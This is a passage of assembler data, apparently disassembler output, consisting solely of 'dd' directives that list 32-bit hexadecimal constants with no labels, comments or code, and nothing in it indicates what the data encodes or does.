		dd 9803E9C8h, 0E7E238D1h, 0FC4A3A27h, 0F504855Ch, 1669D386h
		dd 8188B010h, 1EC3E0Ch,	71C10010h, 3DE2823Ah, 4D286283h
		dd 950120BDh, 0C55D44A0h, 6EF2611h, 8EB5F119h, 344E38DAh
		dd 4509A005h, 3D0E4890h, 7749C19Bh, 0F82D3F9Ch,	783C89D6h
		dd 0D080866Ah, 2E602043h, 121B53A6h, 0AC20C0B3h, 37017BB2h
		dd 0EB65337Fh, 69838FD8h, 4C153F97h, 0E7474807h, 0D76027E4h
		dd 1D5DE3DFh, 1212Fh, 0F94320CEh, 9B00E254h, 8129316Ch
		dd 0C11EBBB9h, 0E37974F9h, 9E08B926h, 0F50273F0h, 0AC8D0921h
		dd 0DDB1488Ch, 0F78DFE51h, 0C07C387Dh, 0B6F09E78h, 0B7831900h
		dd 6E5545B9h, 13AC042Dh, 0C03E3088h, 4437F290h,	1D0DFD18h
		dd 3D8D87E9h, 61282504h, 3AA00C8Ch, 5FE8291Eh, 0F462D400h
		dd 9623476Ch, 6F89C0A5h, 0A7E6BA2Ah, 44A1B90Dh,	93D4189Bh
		dd 963D12B4h, 5DD04E92h, 47952322h, 7501C0A2h, 6F888881h
		dd 0E8B42069h, 77AAB401h, 0B7F4F5EAh, 0A795D9D3h, 2F60E116h
		dd 6A2BB108h, 38856035h, 812C296Bh, 2D75FE00h, 1225A4A5h
		dd 0B3643026h, 6CE73121h, 7F48B914h, 0E90F0A50h, 0E114B021h
		dd 993C30ACh, 291524h, 0F9E8D0A8h, 0D1308BEDh, 43261A09h
		dd 0A82C089Ch, 0E7100753h, 805227F5h, 0A18B6A5Fh, 90C08B4h
		dd 7388C1A6h, 6B50142Eh, 5A1B80Eh, 88360C6Fh, 8A07ACD8h
		dd 57BE4787h, 0AA218900h, 0F4E23867h, 81FAB31Ch, 0BFB29F03h
		dd 0BBB8FC8Ah, 7401DF5Eh, 0F4B65797h, 1FEBA7C4h, 1FFA4422h
		dd 0B5BA00E6h, 31D3E2BEh, 6A9E93Ch, 0A00E0786h,	5C70C8h
		dd 551AC8E4h, 6D602F7Dh, 0F6A6B112h, 80735044h,	6C8AE901h
		dd 0D0C9BADCh, 254D11B8h, 2B3118C4h, 884C4830h,	0E30BF7A2h
		dd 92251B34h, 1ED80060h, 0E80968B3h, 147F2BA5h,	4D1918Ch
		dd 3757B48Ah, 0C938509h
		dd 0C8480AFAh, 8462AB07h, 452E95E8h, 0CA6C0D30h, 0A72C4059h
		dd 0BC288CEAh, 1F94C6Eh, 0C016E626h, 0CEF12E66h, 0C71B0029h
		dd 6F973B45h, 0F8F1B8B7h, 290C0568h, 4035E101h,	133088EBh
		dd 7E6F1E03h, 188F099Fh, 29E401B1h, 6B889C4Dh, 866A281Eh
		dd 32CE0F3Ch, 2ABE6F8Bh, 3DED0C58h, 0D290A6DCh,	9F056343h
		dd 0BF67A9h, 1F4009F0h,	35188FDBh, 3B80116Bh, 0BF4E002Bh
		dd 3F521BB9h, 894BB036h, 0B8005AC5h, 0F540FD53h, 78036730h
		dd 0A600C83Fh, 4A871820h, 480A8CDh, 3DA20A9Ch, 2868B395h
		dd 9DB089B7h, 8188B1B4h, 5715195Ch, 184F7E4h, 979BF2BDh
		dd 0C2031A98h, 0B89D96CFh, 24DC2AFCh, 150C3ED3h, 700F8C55h
		dd 0B3081274h, 90C30744h, 0A308C947h, 33B8193h,	0D3B71504h
		dd 0B90C81B6h, 10EE71F2h, 0F1EF066h, 6DE99BF3h,	352A2500h
		dd 0F7484096h, 81138FC8h, 1BA33442h, 2BF41080h,	0CBBE71F3h
		dd 2630A11Fh, 0FF4D8CA8h, 98673B50h, 9F942C39h,	0FEEA1B33h
		dd 78D05141h, 0A6F4DADDh, 26C7CB1Eh, 7F53C140h,	0CD40FFh
		dd 2157EF07h, 0CF0D748Fh, 0EB899F03h, 0B0EACBC8h, 1E502CA0h
		dd 0C0C26D20h, 511BE508h, 0BA6177FDh, 2E218AF0h, 16D8020h
		dd 9BE7EF64h, 2074FA53h, 70008C90h, 8987E4F7h, 0C879F0ACh
		dd 82425028h, 0F6282E6Ah, 90FF2A88h, 699C847Ch,	0F842E848h
		dd 0E9A822F1h, 225E9A22h, 0ED22F5C4h, 0EE9422F6h, 4D7ACD00h
		dd 0C9B41E49h, 742880B7h, 0AAB62D87h, 0E8901BF0h, 424E3Dh
		dd 9CC3063Fh, 787253CEh, 0FF240069h, 2A986AB8h,	0C501972Fh
		dd 51886554h, 64302D96h, 0C9A00046h, 66E4ECD9h,	0BCB68F0Ch
		dd 0D538AB00h, 1E4C945Dh, 0EDCB6764h, 304F2807h, 6F44D0A6h
		dd 0EE768207h, 7C7B3A7h, 0F31AF750h, 1A8D6086h,	305E4E10h
		dd 0D3A91907h, 2851BB45h, 54F00450h, 0FEEC009Ah, 0A51518BEh
		dd 0B3008DABh, 0C08E1ACh, 0F4A6CCE0h, 1E9EEC53h, 404A364Eh
		dd 0CEA3DB1Bh, 0FE01AC61h, 238BE35Eh, 35F09FF9h, 0D9950045h
		dd 0FFBE852Ah, 0B86212D6h, 40ED9298h, 50E87Ch, 8647888Ah
		dd 0EBD4732Fh, 80CB7C3Dh, 0C7360A64h, 0AE9406h,	340FDF51h
		dd 0C12B7A86h, 0E3B35D00h, 0F77BE114h, 1BA70015h, 764BF8Ch
		dd 0D01F9EB8h, 6DCE90F4h, 40152063h, 5DEC3B5h, 0CEDD3D1Ah
		dd 0C9C0F092h, 0B4EBA38h, 816BEB41h, 0CD71E2Bh,	8587E0h
		dd 0C728F27Eh, 5506646Ch, 0DD2C9200h, 991E50B8h, 0CDDF0052h
		dd 5C953561h, 52C06FB1h, 393136A1h, 872C124Ah, 0ACA0409Ch
		dd 6EA24C55h, 170B7401h, 3FA8AEBEh, 150C4h, 686BF6A9h
		dd 21FC5B44h, 0E620A200h, 895180Fh, 19470094h, 2D6AB630h
		dd 0C2039B8Bh, 0F3D67D37h, 22FB87E3h, 804A8C44h, 0D93F17F2h
		dd 0BBC1C06Ch, 625C9A4Dh, 0DAEA0E00h, 0A58E11AEh, 4702008Dh
		dd 0AA055053h, 4C00C0A3h, 97396643h, 56A6C3h, 0DA94A268h
		dd 232D551Bh, 8C0012F2h, 0B1B78413h, 3A10AC83h,	6B8016D8h
		dd 0FF0853C6h, 9000C2F4h, 0C7FB3629h, 0B0B8DD3h, 0D1E2FD52h
		dd 65C28157h, 86C39389h, 0C0ECE139h, 82FA13CEh,	6FC20733h
		dd 0E7B3041h, 0C42A3D04h, 8700BC57h, 0F2561E29h, 1EEF330h
		dd 76623536h, 0D0830F5Ah, 55006DDDh, 0D807FBE3h, 12241DA3h
		dd 802A6E57h, 0B23BCC6Ch, 0A65AC500h, 0F5CEA729h, 25F307BCh
		dd 2010C88Ah, 0FA5B4DDAh, 0F2C38B0Fh, 0CF7100AEh, 3F8ABEh
		dd 7BFE995Dh, 421AB815h, 34434B24h, 0B9FC0480h,	4075862h
		dd 79E57E87h, 32D8803Bh, 8E06F325h, 0F269F411h,	105501BAh
		dd 0BDDC9AF5h, 0A8002A71h, 0BB2A954Fh, 7FFE2F50h, 484A0880h
		dd 185BCA2Eh, 80FCB81Ch, 496E1735h, 543DE3D0h, 88DBFC68h
		dd 1700CDFAh, 9EA6ABAAh, 0F28B0h, 0D9880D37h, 0C757CBC2h
		dd 0B4B8A400h, 0D8F11097h, 22CC125Fh, 51140F91h, 2B49C420h
		dd 9D24725Eh, 0E82841FCh, 1955A71Ch, 0B3868C5Fh, 4E908677h
		dd 0A655A04Fh, 9C591E00h, 99FE57ECh, 41FF07B9h,	0D08F7BF2h
		dd 5B395C90h, 653934EAh, 0CF3C8350h, 0A01D11C0h, 38E24A7Fh
		dd 0EC80E52Eh, 0D81E815Dh, 0BC01F1BBh, 76BD8FE8h, 20EC4767h
		dd 4E0B0C8h, 0ED6006DEh, 0F320800Fh, 0B00328Ch,	75E47230h
		dd 0BABDBE1h, 6CF0CB0h,	2D353C00h, 0C2F4C4C9h, 31589F00h
		dd 0E6D6CA59h, 135E7DB8h, 1D5B8294h, 0DD1B00BCh, 0F27D0D47h
		dd 0ABD2601h, 9A6695DAh, 0B100C06Ch, 89E62B48h,	44008180h
		dd 295AF39Eh, 1DB5094h,	0B33995FCh, 484BF066h, 140046C8h
		dd 6B4459EFh, 75BDF1B7h, 0FE3C0CC3h, 1C599D13h,	53686F00h
		dd 0FE5B4D7h, 0BF6200E3h, 23B74E57h, 0E11325EAh, 0A409750h
		dd 87D0732Bh, 0EB4B00C1h, 8A9B2C83h, 0FE002EADh, 0F4A3325Ah
		dd 3BE1D94h, 0E4DE8F6h,	0F9E8E2C8h, 0EF034167h,	0E4762984h
		dd 25D4C8B2h, 5932070Ch, 0D036616Fh, 0E8C5E607h, 0C0EA4E00h
		dd 6356AE22h, 0F825002Bh, 75F7D4C9h, 0D8005D4Fh, 0ED0DF21Bh
		dd 17AE571h, 0A3756DFh,	0E03815A1h, 830E42DBh, 80C2096Ch
		dd 2EB75078h, 3AB60149h, 0E9676E7Fh, 7717D458h,	5612C100h
		dd 0D990A4ACh, 0D2920072h, 3F98491h, 2E008F2Bh,	75DB329h
		dd 0F4CE223h, 0F580A8A9h, 6CB17F60h, 0D40053DCh, 99377631h
		dd 0FC03CCh, 0C4451D8h,	98B055F3h, 0B403C0EAh, 58E8E5EFh
		dd 0EA53F12Eh, 0F8C79C60h, 0FE230091h, 10DC3ED4h, 7000D966h
		dd 0DA8DD6D2h, 30379Fh,	0DFF71D98h, 4828FA87h, 13C0590Ah
		dd 8493D8DBh, 7F9A9206h, 0F9DC00E0h, 43E237C4h,	0DA00D3ACh
		dd 53097ED9h, 0F4820Dh,	8D71732Ah, 366BE3DCh, 0F0655A00h
		dd 0F1DBA427h, 1C09FC78h, 40B6C938h, 5BCCFD69h,	3C005A4Fh
		dd 432CD716h, 0C74E31h,	0CA983B14h, 0BAA9F4EEh,	0E60A3E00h
		dd 0AACBE4C4h, 0F3D00B5h, 0F3EF5199h, 837CDE5Fh, 78C13500h
		dd 0EE4A52E8h, 2997D90h, 0C5A566F7h, 2CE3280Fh,	8FD68C00h
		dd 593E7363h, 0A8F501F8h, 0BB95C070h, 980CECAEh, 3B19311Ch
		dd 829F3D02h, 0B1B481F1h, 600C715h, 0E961F36Bh,	5AFA75A8h
		dd 0EE0BF0DBh, 24840001h, 0DEDB403Ch, 0C400198Bh, 0FA503EA9h
		dd 3823C763h, 7106AEB8h, 0B0339CB9h, 4636212Eh,	5A6F803Ch
		dd 3982D26h, 0EEFE0001h, 0C825E21Ch, 7F7B84CBh,	85EC9700h
		dd 58F98A73h, 0E49C00BCh, 0DDC380B8h, 0D2007D75h, 797F3C44h
		dd 72D8BD90h, 48C100C7h, 3A3F7873h, 8A145EC9h, 0BF0682h
		dd 75967686h, 0A47AA1h,	0F6A38D92h, 0E5171E62h,	2BB46807h
		dd 2764F388h, 8BEDE9C0h, 44C828D1h, 54E01E84h, 951980DFh
		dd 1ACA0B24h, 0EFFBC500h, 0CD0A2588h, 0E0C0076Fh, 0D30E04h
		dd 8B73D114h, 4861CF00h, 0C7DD201Ah, 0B7940EB2h, 0F700F886h
		dd 7579A62Eh, 40E74A00h, 0A222F36h, 0A1B000A4h,	74D9F1C0h
		dd 0E0052199h, 1A34EFB3h, 1D5B9DC0h, 702601F9h,	5D2F3878h
		dd 0BBC0EAAAh, 4200D823h, 0F9298F6Ch, 2BEDA81h,	628D1883h
		dd 9240439Bh, 0D8F7F7F5h, 0C5001776h, 5582799Ch, 0F6588B20h
		dd 0DF250021h, 37D71886h, 9008354h, 443D3AB7h, 28B512BEh
		dd 1FC84A48h, 0FA0773Fh, 0EE409A3Eh, 0C266AA83h, 99BE0700h
		dd 0F4E4877Ch, 0CD0E0670h, 0E0251AA4h, 0E3D6FF00h, 0DA3BED8h
		dd 0EA5F00D1h, 0BBCED27Eh, 0DE00DD85h, 402132E8h, 0E8AF609h
		dd 41F947B1h, 0F45A05E2h, 1C888480h, 73000FC7h,	9657A310h
		dd 5F0DD102h, 3E1F875h,	32C70795h, 38509876h, 0CC55003Bh
		dd 5D1597E1h, 113C0644h
		dd 0F8CD80D1h, 55A4240Dh, 831F03E7h, 15EFCF58h,	1E2FFE3h
		dd 61A3EAC0h, 0EA1DDA01h, 0ED0455CCh, 6408D0h, 1598412Ch
		dd 0E93CD239h, 50CE4000h, 2277635h, 0B44400CBh,	1FC17BE7h
		dd 0D304AD9Ch, 8903B283h, 946B48C0h, 56DA127Fh,	0E1AC0806h
		dd 0C4359200h, 0FE51678Eh, 3AE67422h, 7E0036D7h, 0D066DA37h
		dd 0FB00C412h, 0B45EB390h, 26D260Bh, 7F75BB9Eh,	0A6C08404h
		dd 0C30016E6h, 0D97C3C93h, 60BD821Bh, 0E3596839h, 81007251h
		dd 7CF3E661h, 0A80C94h,	169712F1h, 952083CAh, 317D3Ah
		dd 6DE2B326h, 33F940Eh,	4381F1BFh, 0F5C2AB3Ah, 0EFECC040h
		dd 7A016658h, 0BB032590h, 0E34405F6h, 28F8C855h, 0CC010072h
		dd 7EF575F1h, 0EE04DC34h, 0F48BF91h, 0F435E4D0h, 0CB0AF058h
		dd 1820B698h, 0CFF2A356h, 3AF399A0h, 58E33425h,	2904Eh
		dd 0EE4682ADh, 995EBCD3h, 0C0192600h, 83023C16h, 0BDFE013Bh
		dd 58DBE99Eh, 3407F179h, 0DAF8CC60h, 0B400237Ah, 0E7B21A40h
		dd 0E4F4B747h, 153D0045h, 7932C010h, 0FE0425Eh,	0AF4DEB00h
		dd 48CBB88Dh, 0A5D184Bh, 5A818864h, 4393E603h, 0F9F62A87h
		dd 8BE8ED14h, 8D470174h, 0BE7C8553h, 0E5D08090h, 0E095962Ch
		dd 0EA810316h, 0C4AFBCD1h, 0E4D5F1F8h, 977ECE00h, 3AAC84B9h
		dd 0EA3600F2h, 121EBD43h, 0F03E544Ch, 0C751005Bh, 4B52E748h
		dd 807842h, 843CA72Eh, 0BF36F6A2h, 4A678C00h, 182C4D6Ch
		dd 0BBFF004Eh, 54A3EA63h, 0EF7AB1E8h, 0EC19B27Bh, 2D5A7BF6h
		dd 0F4DEF1C0h, 4297007Dh, 35FAA140h, 43FC6AF5h,	5F5D0700h
		dd 20BEE932h, 9030042h,	0F0F2D64Ch, 0B80B722Ah,	764F619h
		dd 7ECF7798h, 826DE983h, 0A980BFAEh, 1CD3602h, 929A289Ch
		dd 62E3C049h, 0D2040924h, 0BAC48012h, 7876B09Dh, 7E8E3A1Ah
		dd 0F700685Ch, 0FAA9BCA0h, 7B3FC777h, 0A39E80A8h, 18C858Dh
		dd 3AAD00A4h, 4E715AA2h, 79602C51h, 0EFF14C41h,	97F2128Dh
		dd 5B0407DAh, 630E98A4h, 8CDC40E2h, 564ED7Bh, 33FB1131h
		dd 92E40016h, 5678CD5Ah, 0ABC6DF00h, 0BF9B65F9h, 72F4A8B5h
		dd 0A8A424AEh, 3A6F8104h, 21DB543Ch, 1497C41Bh,	0D515C03h
		dd 80F926CDh, 0EB3B5Ah,	0AEC25F57h, 0DC77203Dh,	0F2AD41Ch
		dd 3E79802h, 0B82C4096h, 213100ABh, 69F20E1h, 82395DA3h
		dd 62F18004h, 3423FCD8h, 5F7000Bh, 5B55E983h, 7200ECE4h
		dd 0A44E351Ch, 0F2B9A946h, 955E0753h, 20AA3AD8h, 0B3C82059h
		dd 1DFC12Ch, 0F0B9F900h, 0F7F8124h, 1363DC55h, 8EB43EA1h
		dd 2050DEBEh, 7184649h,	809BD78Ah, 0C54C20BFh, 0B5E999h
		dd 7D2E5E4Ah, 6392B4F8h, 84575B1Fh, 6A353F80h, 0A04F69h
		dd 213B9398h, 0FA9CE26h, 0B0DDE202h, 767CFD1h, 0E978525Fh
		dd 0BEE70060h, 82EDDA00h, 5DE41A07h, 0B9570080h, 9FA61B8h
		dd 0B005241h, 0E68FD33Ch, 29B0B3F2h, 39E4E0BCh,	0D070598Fh
		dd 0BDA6C9C2h, 785F1160h, 0B9046C7Eh, 5E7F2D86h, 0EC4F5980h
		dd 4C6F00B0h, 23F83E71h, 12EC5C24h, 1DAA23Ch, 977B4DE3h
		dd 0FD8DBE0h, 8B5E003Ah, 194115D8h, 30005A70h, 9DF2EB4Ah
		dd 55674C8h, 127D9067h,	7A08D0FAh, 0E0007E19h, 4338F9BAh
		dd 72F74B1h, 0A6CFD479h, 0C031F5E6h, 0A45DE4Dh,	9D75021Dh
		dd 239EB940h, 0A4AB6Dh,	95DC1856h, 5C2DE81h, 159C5B00h
		dd 4D020FC9h, 0FF6D0051h, 0E8A0D9A2h, 9D049240h, 3C88DF4Eh
		dd 0D8B47080h, 3A8D02F7h, 0BF9F3246h, 2FBD60E8h, 2EAFE158h
		dd 8B0960FFh, 3E800262h, 8A74C0E0h, 46EF0A49h, 10CDF7h
		dd 0F13E479Ah, 897FDB60h, 0B5482EB8h, 5E12000Ch, 5DBF35AAh
		dd 3610CF06h, 0A7CDC002h, 5A3BB448h, 1A712100h,	0BA470C58h
		dd 2A4500F7h, 3E7EE14Fh, 0C0009483h, 3682468Dh,	38CC5AC2h
		dd 9F003BCFh, 566AFF3Dh, 6390F8ADh, 0A6602106h,	0E041A3h
		dd 8E7A98EFh, 46808908h, 7D77A572h, 0F201217Dh,	74E7AA37h
		dd 88500DE6h, 61B7510h,	0F8846C1Ch, 0F203A0B3h,	0C77A5D5Ah
		dd 66E3E80Eh, 8D270170h, 3B3878Ah, 85C1E09Bh, 0E4001298h
		dd 12E6E013h, 0A2361h, 0D21D7538h, 8E8815CFh, 10036E8h
		dd 0FA09DC98h, 1404B0Bh, 4161A40Dh, 0CC72302Dh,	6C003D4Fh
		dd 1B7AF3DCh, 178F9E2h,	0C548992Ch, 60A83064h, 0A50002A9h
		dd 0A9D71EB0h, 7FDC9B08h, 718100D0h, 2F9C566Fh,	0ED034B8Bh
		dd 0D5BC6E11h, 0DA3AF099h, 128900C3h, 59B09ABDh, 0D3EEE264h
		dd 5D1F7700h, 2C28241Dh, 2313001Ah, 70ACE9B8h, 793F717Eh
		dd 8180BE09h, 44D23E41h, 25FD6B20h, 0F73A75C0h,	2B64D4h
		dd 0F1581B82h, 53D38C56h, 0C713CA00h, 0DC324F7h, 20E0E65h
		dd 0D820B3FAh, 808E5771h, 0D4B03C09h, 0B104004Dh, 67E043h
		dd 63838D23h, 0BCFBD65Dh, 0A9996400h, 0D8743927h, 4E230078h
		dd 0D2FFAB4Bh, 20A5BE89h, 0C0507C88h, 59E7E918h, 3CA649h
		dd 0A181F354h, 0E249239h, 21CA32F5h, 8521AB8Ch,	73821900h
		dd 0D6E9EC22h, 2C480325h, 76703215h, 188EE800h,	7F3CFD7Bh
		dd 0F7EE332Eh, 1DC84906h, 0F20E2342h, 99CFC9E0h, 50F87D10h
		dd 1943037Bh, 115C6DF0h, 31780830h, 0F451069Ch,	0C84B0036h
		dd 0F2882968h, 7F006245h, 8DBA3A49h, 0E6B2B5Bh,	0B6422211h
		dd 0DD8CA8CEh, 8C01426h, 28EC761Dh, 66D0683h, 196391D9h
		dd 6501F5EAh, 0EC599690h, 10F36FD0h, 3DA9320h, 4714DC44h
		dd 6231006Dh, 0CBBDCD27h, 100E361Eh, 84318EEFh,	2800DB86h
		dd 14C3CC9Eh, 81FDD23Dh, 2A671C15h, 0F19CCB57h,	0E788C0E6h
		dd 15F8363Fh, 1AE09B00h, 0C66D2ECCh, 0FFD40C9Ch, 0C7701ECDh
		dd 0E670410Ch, 90FDD111h, 0A6230195h, 90D16073h, 0EA088C2Dh
		dd 58D42041h, 8000EC2Eh, 16824B5Fh, 0FA31B3F0h,	5BA54121h
		dd 713E7F0h, 0FBEA6145h, 5ABF00F0h, 300E6FA0h, 2CFF70FCh
		dd 0FF151D9h, 299EEADFh, 0B19CA600h, 7801E814h,	39B8E2C5h
		dd 8C506E5Ah, 1D48F30Dh, 9AA42B1Fh, 0C980701Ch,	0FC5F27BCh
		dd 77CE8D0Ch, 0C0A608D3h, 0BCE3EB21h, 52005375h, 221F0AE2h
		dd 5F3D54h, 2A36D27Bh, 0DF852E71h, 7A49F6E6h, 20A52808h
		dd 269C9800h, 83A0067Fh, 0A8213A5Ch, 0BED92E1Fh, 0D1E79380h
		dd 607659FFh, 9864DF0Eh, 828AFF2Ah, 465EACF9h, 70F900F7h
		dd 0EA55536Eh, 8DB8ECh,	45F1B52Ch, 0E372B94h, 0CEEE100h
		dd 3649ADA5h, 10AA6062h, 66D8560Fh, 0BC2A9301h,	0BBF1AC1Bh
		dd 0C0AB09D0h, 0CD1D6C20h, 7B00FEC5h, 4C525F47h, 37B105h
		dd 2F0D1A86h, 2E8F3DABh, 56CA900Fh, 5DF0E114h, 4080AF3Ah
		dd 0D8E70B2Fh, 5E066443h, 5C2E0D7Ah, 21DF6E08h,	66D93E60h
		dd 3264A3DBh, 1A6055A0h, 9323B2CDh, 21F8180Ah, 0CD002148h
		dd 0F9539C61h, 0C13D78Eh, 0E236B281h, 0A0030861h, 0B04929E3h
		dd 0B5899046h, 0C7DC0385h, 0E08C9363h, 1CDA3EF0h, 0D017D730h
		dd 1EE701EEh, 0F9DDDEBBh, 48F6F500h, 0F1A0F057h, 0FA30E198h
		dd 7C7282Eh, 0A40A1B8Ah, 40F440B8h, 5C79C1D5h, 47300704h
		dd 20DFC7h, 9944BF49h, 0B9D51400h, 485E545Dh, 0A8FD6085h
		dd 1E1374ABh, 52450D00h, 0AE9F3806h, 0E48900D3h, 9BFC4137h
		dd 0BE001569h, 5721A0F8h, 0C5EB147h, 318AA5DBh,	0FB543478h
		dd 96E22C8Ch, 0DE102100h, 0ADDC6B87h, 7D8763Fh,	0B7C2C372h
		dd 3290D2AAh, 39119490h, 0AB0094B0h, 0B80A6C0Fh, 3FC5D77h
		dd 1EA9EF40h, 0CBE82DF3h, 0B9069F56h, 1A77542Eh, 446C00F1h
		dd 0A5974F6Eh, 8E2C1C11h
		dd 2518BE4Dh, 73D3B21h,	2455AE6Fh, 4BEC0385h, 2200854h
		dd 950FBA05h, 588073F8h, 3048D5F6h, 0A3210A84h,	7F3B31F4h
		dd 7C921C15h, 4675C100h, 1F0BDE5Ah, 8067E509h, 2B7A42AEh
		dd 0D0CF556h, 411B854Dh, 9867500Eh, 6D6B0382h, 6E5B99AEh
		dd 210006A3h, 0F721604Ch, 7E9C2Dh, 3DE68379h, 8BC1D14Eh
		dd 1E90E300h, 0B0ED6EDEh, 0DE73507h, 4B740838h,	45D941C0h
		dd 7B6E2164h, 2400DA91h, 0B3A3D959h, 1107FD4Fh,	0C7B7FC1Dh
		dd 4EFA3860h, 0AAD67A4Dh, 6BE18098h, 0C77B27h, 2CF54A71h
		dd 1E8F1840h, 90A9211Ch, 4394BE00h, 0A4774D37h,	729D0EB4h
		dd 8B80C0D5h, 9116DA0h,	0C8E932FEh, 6700061Dh, 0B702664Bh
		dd 0A6781E2Eh, 6E4202E0h, 0E559705h, 72172619h,	1AE06F5Bh
		dd 0E4006B71h, 4266B3A0h, 0C0DE3712h, 0B50D51E1h, 77008402h
		dd 0E91A6B17h, 544EC14h, 857BD6C5h, 0C7B84001h,	2CE29C27h
		dd 5856FE00h, 0CB3C9103h, 0E6B21AA0h, 0B00451ACh, 8FC0645Eh
		dd 994664B4h, 3DEDC024h, 0C5E04AD9h, 1E248E00h,	0D2889C3Fh
		dd 159600E7h, 959D7B0Fh, 0E2457D5h, 0B3C01049h,	21764B21h
		dd 8916ACBh, 214C5800h,	334B9B79h, 2771E163h, 2088A897h
		dd 0ACE02EAh, 2A73A5DCh, 335E9881h, 8B2980E0h, 6CCA0807h
		dd 67981D19h, 5D3D0052h, 0AEFC102Bh, 80CD1F3Dh,	5CE61D43h
		dd 7C69A99Fh, 0F7F403B1h, 0E41881Ch, 14868826h,	0C28DCA40h
		dd 23821D83h, 80651DE1h, 6CB33467h, 0A300FCFAh,	0DA2CB8AFh
		dd 7403D631h, 4CCB0128h, 862BC874h, 0B4D98024h,	0C3B61578h
		dd 60AAEE40h, 112B1819h, 0AC58A28Fh, 0C03F8818h, 93B0D858h
		dd 0A28C1A43h, 7F003FD0h, 253999DDh, 0F4B77C33h, 0DE6C0C60h
		dd 0AB69E053h, 3829F474h, 0B281C486h, 0C3764821h, 0F9C1C418h
		dd 97214B65h, 5668960h,	3425CC2Eh, 0F8B440DDh, 227F6916h
		dd 0F551F400h, 0D9C7C6B8h, 105C1EE9h, 1ED64642h, 0B612A82Ch
		dd 80601D2Eh, 10F06EAFh, 0C4123D96h, 4E003171h,	0FC7E6E48h
		dd 251D1600h, 777DC8F6h, 0AE282938h, 805B1194h,	93ACCC4Ch
		dd 0C0BB42FAh, 99D8534Eh, 45B00B2h, 0FA73308Fh,	0AD29E066h
		dd 2830245Eh, 58F29365h, 6FB280BBh, 80A090C3h, 0A03AF94Dh
		dd 0D17404D0h, 2F00DC33h, 63FE663Bh, 5043A57h, 15844BAFh
		dd 98C4C05Fh, 3180F7D9h, 478F64h, 0F535E09Ch, 0F12F1613h
		dd 0B1E7DCA7h, 58F6AD8h, 828A98C5h, 1C649327h, 49038630h
		dd 0B64D4Ch, 1E8313DFh,	0BB55E4D5h, 4598A21Dh, 511A24CDh
		dd 609BE004h, 0D5AF8480h, 700DB9Fh, 0B7862D5Ch,	1F615746h
		dd 40F9D068h, 75227B70h, 3600E3E9h, 58ADBB9Dh, 0C1C8E599h
		dd 0C61EA280h, 0F87470D5h, 0DCB6700h, 0D3DE13BBh, 2AF822h
		dd 96843A1Ch, 9BC1975Dh, 73B19000h, 0AA24DCE2h,	0B42700E4h
		dd 0F64C3610h, 7C00E582h, 0FFD8B080h, 92F93Fh, 24ED68Ah
		dd 3140B95Eh, 0F833FD00h, 8C47F9Dh, 3FAE064Fh, 4194FC86h
		dd 36FE0200h, 0B25EE9BFh, 968B00C4h, 0C3DB18BAh, 1D0F669Ah
		dd 0A7234Bh, 0AAD87E25h, 88408D5h, 3728F591h, 29FE9600h
		dd 0A5E18F20h, 614400B9h, 9BD32A71h, 9117D9F0h,	7E003E4Ch
		dd 74DA82C5h, 70A40717h, 0D0ADE445h, 77BE21E6h,	0FBC68300h
		dd 0C041C8A1h, 6FE20117h, 21B854D6h, 0D87CE4A7h, 773C6003h
		dd 0F7981Bh, 0B0844D80h, 0D593648Bh, 0B5103F02h, 0A072C107h
		dd 73E627A0h, 0DA9F0062h, 5B56CEEDh, 1E00D1C6h,	631D5E2Bh
		dd 14843E5h, 0AF25C88Dh, 80BC6999h, 71786780h, 8B855D6h
		dd 7E11642Ah, 8980A091h, 3B6480B0h, 0E10D643h, 0DB160098h
		dd 97373E73h, 1BAA0A39h, 4E20753Dh, 646DB061h, 0B604863h
		dd 0E80141C3h, 0ECEC870h, 73877CFDh, 0D8343FFBh, 0E11FAC80h
		dd 0E8C38565h, 0EC53C5Ch, 20BC6B91h, 0DC88775Dh, 499E3832h
		dd 0D48E5600h, 86435242h, 0F900A4E4h, 3A2522D5h, 2AD2F1h
		dd 197D5469h, 93189B84h, 0DEF9230Eh, 0A8D6A283h, 30808048h
		dd 1F330CAEh, 1ECAC834h, 158F4058h, 4F53C17Ah, 81EFC300h
		dd 0A364E672h, 0B1740E66h, 14C0AC99h, 0E7FBC710h, 34705600h
		dd 634986BCh, 8A720092h, 47506F28h, 40C0FC48h, 0A50ED531h
		dd 0FFD60085h, 0DFD0C6Ch, 2D00C2EFh, 647ABBDBh,	5097DB9h
		dd 874BEBA5h, 63B5C029h, 80A06890h, 300037D6h, 0DD44AFD1h
		dd 86E07Eh, 6D8A1221h, 825F0E60h, 659F4099h, 3C66559Eh
		dd 2E58E026h, 59210F5Eh, 9BE0C690h, 991E9AA6h, 145BB900h
		dd 0E216F5ABh, 5822F069h, 0C814DC4Bh, 0A10FF503h, 180C75F1h
		dd 7C008148h, 0FC5C0C72h, 34888Fh, 0E3E058F6h, 9855B9E8h
		dd 0E767D400h, 0FF2EFC5Bh, 515D2918h, 0DB47E220h, 0E45CE532h
		dd 95F96008h, 7BB105A0h, 901637A5h, 22DAAF30h, 34DCE800h
		dd 43ADA435h, 0BCEB00A9h, 0DE241AA5h, 0B713E79Eh, 0A460202Eh
		dd 16F36EB8h, 2C114596h, 51034F84h, 0CC608F6Eh,	6514807Eh
		dd 19DEAB3h, 68FEA7AAh,	0DB756D89h, 42DC314Ch, 4580EA04h
		dd 361F8064h, 0EFE7131Fh, 86074D2Ch, 0D8321458h, 615440DBh
		dd 25350006h, 43E7361Ah, 0B7180D05h, 2C297438h,	0C58A88DCh
		dd 84EB2440h, 4270D722h, 0CC521130h, 11449F11h,	0A4116D59h
		dd 3CEE19DDh, 0D210A379h, 0B100B4FCh, 0CC6E8542h, 4EB3329h
		dd 5F784CC1h, 0E916C01Ch, 3E07DFACh, 0A9A82D56h, 35DA606Eh
		dd 4C315Ah, 0BCA47BA5h,	0EBB4662Bh, 1BD41703h, 0C87A3EDDh
		dd 0F3D055h, 7819D344h,	0AE080D50h, 16003D76h, 31E75238h
		dd 0E58CD0h, 0FD72A61h,	1410FAC7h, 0DCFB4200h, 0B6674D6Eh
		dd 0E40100FEh, 0CC580ECFh, 5B0514B7h, 0B95A12AAh, 804CC04Eh
		dd 8BA250FBh, 0F4030005h, 0C7F52324h, 3E05C3F7h, 0D5CB8108h
		dd 0C10D1C80h, 8A7083h,	961A7377h, 0A9EA7035h, 85F71F07h
		dd 0DD307C6Ah, 0E05EECEBh, 15800078h, 0E11E7602h, 0A973113Eh
		dd 0E00F48h, 80CC5F6Fh,	1EACD4B2h, 0C64DFA27h, 10E5B782h
		dd 0ECBD2A0Eh, 8BC16086h, 1F66426Eh, 40F76F99h,	0A2B16AEDh
